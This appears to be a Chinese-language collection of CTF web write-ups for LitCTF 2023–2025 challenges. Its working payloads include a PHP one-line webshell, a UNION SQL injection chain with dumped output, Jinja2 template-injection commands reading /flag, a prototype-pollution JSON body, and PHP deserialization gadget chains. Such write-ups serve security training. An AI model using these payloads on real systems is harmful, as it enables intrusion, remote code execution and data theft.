LitCTF-2023
我Flag呢?
奇怪,放哪里了,怎么看不见呢?(初级难度)
NSSCTF{e9a76298-bb89-47e0-9e39-a84a06e3a4bd}
PHP是世界上最好的语言!!
探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录) Flag形式 NSSCTF{}
发现flag在根目录
flag=NSSCTF{309ae380-f3bd-45ae-b4e5-9aece7fb3fa4}
导弹迷踪
你是一颗导弹,你需要,飞到最后!(通过6道关卡就能拿到flag哦~
查看一下游戏逻辑
直接有flag
NSSCTF{y0u_w1n_th1s_!!!}
Follow me and hack me
跟我来~
NSSCTF{0881208c-ebcc-4957-8e4e-5eb58d8867cc}
有彩蛋
看看www.zip
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CTF Challenge</title>
</head>
<body>
<?php
include 'flag.php';
if (!isset($_GET['CTF']) || $_GET['CTF'] !== 'Lit2023') {
echo "你知道 GET 么,试试用GET传参一个变量名为CTF 值为Lit2023";
} else {
if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['Challenge']) || $_POST['Challenge'] !== "i'm_c0m1ng") {
echo "下面试试POST,尝试用POST传输一个变量名为Challenge 值为 i'm_c0m1ng";
} else {
if (!isset($_COOKIE['flag'])) {
echo "你看到了我的夹心饼干(Cookies)了么,里面就是flag哦~";
} else {
echo $Flag;
}
}
}
?>
<?php
// 第三个彩蛋!(看过头号玩家么?)
// _R3ady_Pl4yer_000ne_ (3/?)
?>
</body>
</html>
Ping
看看能PING出什么
翻看源码
function check_ip(){
let ip = document.getElementById('command').value;
let re = /^(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)$/;
if(re.test(ip.trim())){
return true;
}
alert('敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦');
return false;
}
NSSCTF{cbc4a091-f471-427c-af66-65bc3636f661}
1zjs
js…?不确定,再看看。
禁用了右键,那就ctrl+u
brankfuck编码直接在控制台解密
NSSCTF{1d8fea36-7294-4d97-b1eb-e8570f595116}
作业管理系统
交作业!!但是哪里不对?
尝试一下admin:admin竟然成功登录
传一个一句话木马
<?php
eval($_POST[1]);
?>
Vim yyds
漏…漏了!
源码什么都没发现,扫目录看看
python .\dirsearch.py -u "http://node4.anna.nssctf.cn:28434"
vim -r index.php.swp
Give_Me_Your_Flag base64编码:R2l2ZV9NZV9Zb3VyX0ZsYWc=
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
这是什么?SQL !注一下 !
为了安全起见多带了几个套罢了o(////▽////)q
<?php
$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';
$result = $conn->query($sql);
查询所有库?id=-1)))))) union select schema_name,2 from information_schema.schemata%23
Array (
[0] => Array ( [username] => information_schema [password] => 2 )
[1] => Array ( [username] => mysql [password] => 2 )
[2] => Array ( [username] => ctftraining [password] => 2 )
[3] => Array ( [username] => performance_schema [password] => 2 )
[4] => Array ( [username] => test [password] => 2 )
[5] => Array ( [username] => ctf [password] => 2 )
)
?id=-1)))))) union select database(),2%23
Array ( [0] => Array ( [username] => ctf [password] => 2 ) )
?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf'%23
//users
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctf'%23
// id,username,password
?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users%23
//1~tanji~OHHHHHHH,2~fake_flag~F1rst_to_Th3_eggggggggg!}
//假的flag
?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'%23
Array ( [0] => Array ( [username] => flag,news,users [password] => 2 ) )
// flag,news,users
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='flag' and ='ctftraining'%23
Array ( [0] => Array ( [username] => flag [password] => 2 ) )
//flag
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='news' and table_schema='ctftraining'%23
//id,title,content,time
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctftraining'%23
//id,username,password,ip,time
?id=-1)))))) union select group_concat(id,0x7e,title,0x7e,content,0x7e,time),2 from news where table_schema='ctftraining'%23
//0 results
?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password,0x7e,ip),2 from users where table_schema='ctftraining'%23
//0 results
?id=-1)))))) union select flag,2 from ctftraining.flag%23
// NSSCTF{d999de63-d796-4151-b10e-c77cbc87ab64}
Flag点击就送!
大型Flag赠送活动开始啦,不过只有管理员才能拿到
扫目录发现/flag路由
然后拿着这个cookie去访问/flag就可以
就当无事发生
https://ProbiusOfficial.github.io
LitCTF-2024
浏览器也能套娃?
浏览器里套浏览器再套浏览器!
NSSCTF{96653606-3e32-4149-a6cf-0eb3e8f4d6cc}
一个....池子?
试着输入一些有趣的内容吧ww
测试{{7*7}},有回显49,SSTI
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
高亮主题(划掉)背景查看器
这逻辑合乎周礼么(?
百万美元的诱惑
日元贬值))关我美元什么事~
0=$(())
12=$((~$((-13))))
-13=$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))
12=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
SAS - Serializing Authentication
请务必按照要求以正确的姿势的插入密钥(●’◡’●)
<?php
class User
{
public $username;
public $password;
}
$a = new User();
$a -> username = "admin";
$a -> password = "secure_password";
echo base64_encode(serialize($a));
exx
LitCTF-2025
easy_file
admin:password弱口令登录
发现文件上传
不知道为什么,phpinfo能看见但是不能执行命令
nest_js
/dashboard
admin:password
星愿信箱
测试发现过滤了{{
{%print(lipsum.__globals__.get("os").popen("ls /").read())%}
有过滤
{%print(lipsum.__globals__.get("os").popen("tac /f*").read())%}
easy_signin
访问就是403,扫一下目录看看
/login.php
/login.html
查看源码
存在ssrf
读一下/api/sys/urlcode.php源码
访问
多重宇宙日记
ez原型链,你能成为管理员拿到flag吗?
直接注册一个账号patton:patton
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';
const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段
try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});
// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}
exp
{
"settings": {
"__proto__": {
"isAdmin": true
}
}
}
君の名は
参考:Litctf2025-君の名はwp - Litsasuk - 博客园
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
重点关注create_function("", 'die(
/readflag);');
参考:PHP代码审计之create_function()函数 - My_Dreams - 博客园
用create_function创建了一个匿名函数,执行了/readflag,也就是说只要调用这个匿名函数就能输出flag,那么接下来的思路:
找到一个可以调用匿名函数的原生类
找到匿名函数的名字
ReflectionFunction的参数就是要调用的函数名,invoke的参数就是被调函数的参数,这个用法和我们的利用思路刚好吻合,invoke不用传参数。
然后就是找匿名函数的名字,这个也很简单,直接像这样就能输出函数名
<?php
$a = create_function("","die(` /readflag`);");
var_dump($a);
匿名函数的函数名是会改变的!在web页面中打开php文件,每刷新一次函数名的数字就会加一,\000lambda_1
只是第一次访问题目环境时匿名函数的名字,所以最好是重新开启一个环境来提交payload
__call($func,$args)
的传参问题:
假如我们触发__call($func,$args)
调用的函数是
flag($arg1,$arg2)
那么触发__call($func,$args)
时$func
就会被赋值为"flag";$args
就会被赋值为flag()的参数构成的数组。所以要给$args
赋值需要在flag()的参数里赋值。
这里用一个类来对链子进行包装,然后开头的O就会被自动转换为C
可以使用的类有很多:
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize
预期:
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}
class Mitsuha
{
public $memory;
public $thread;
}
class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();
$a->musubi = $b; // 1.把对象当成函数调用,触发__invoke()
$b->thread = $c; // 2. 把对象作为字符串使用,触发__toString()
$c->soul = $a; // 3. 调用不存在的方法,触发__call()
$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));
非预期:直接在return ($this->musubi)();
处调用匿名函数
<?php
class Taki
{
public $musubi = "\000lambda_1";
public $magic = "";
}
$a = new Taki();
$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));